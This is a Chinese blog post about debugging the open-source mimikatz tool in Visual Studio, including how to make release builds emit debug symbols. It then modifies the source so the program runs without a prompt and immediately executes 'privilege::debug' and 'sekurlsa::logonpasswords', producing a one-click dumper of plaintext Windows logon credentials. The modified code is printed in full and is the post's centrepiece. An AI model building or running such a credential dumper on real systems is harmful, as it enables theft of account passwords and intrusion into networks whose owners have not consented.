【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码

0x1 概要

记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。

然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。

顺带讲讲编译过程中的问题和解决方法。

0x2 详情

调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。

549050-20180120184826584-1094233130.png

设置让Release的程序也生成pdb文件即可。

另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。

549050-20180121060142318-376950887.png

549050-20180121060148990-732576684.png

0x3 修改

原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。

找到以下代码:

#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
                if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
                {
                        if(input[len - 1] == L'\n')
                                input[len - 1] = L'\0';
                        kprintf_inputline(L"%s\n", input); //获取参数
                        status = mimikatz_dispatchCommand(input);
                }

        }
#endif
        mimikatz_end();
        return STATUS_SUCCESS;

修改后的代码:

#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                //kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
                //if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
                //{
                //        if(input[len - 1] == L'\n')
                //                input[len - 1] = L'\0';
                //        kprintf_inputline(L"%s\n", input); //获取参数
                //        status = mimikatz_dispatchCommand(input);
                //}
                //提权
                status = mimikatz_dispatchCommand(L"privilege::debug");
                //获取密码
                status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords");
                status = STATUS_FATAL_APP_EXIT;
        }
#endif
        mimikatz_end();
        return STATUS_SUCCESS;

0x4 效果

549050-20180125011252131-685495306.png

0x5 参考

vs:Release版本和Debug版本的区别以及转换

http://blog.csdn.net/hust_sheng/article/details/49964217

转载于:https://www.cnblogs.com/17bdw/p/8321622.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值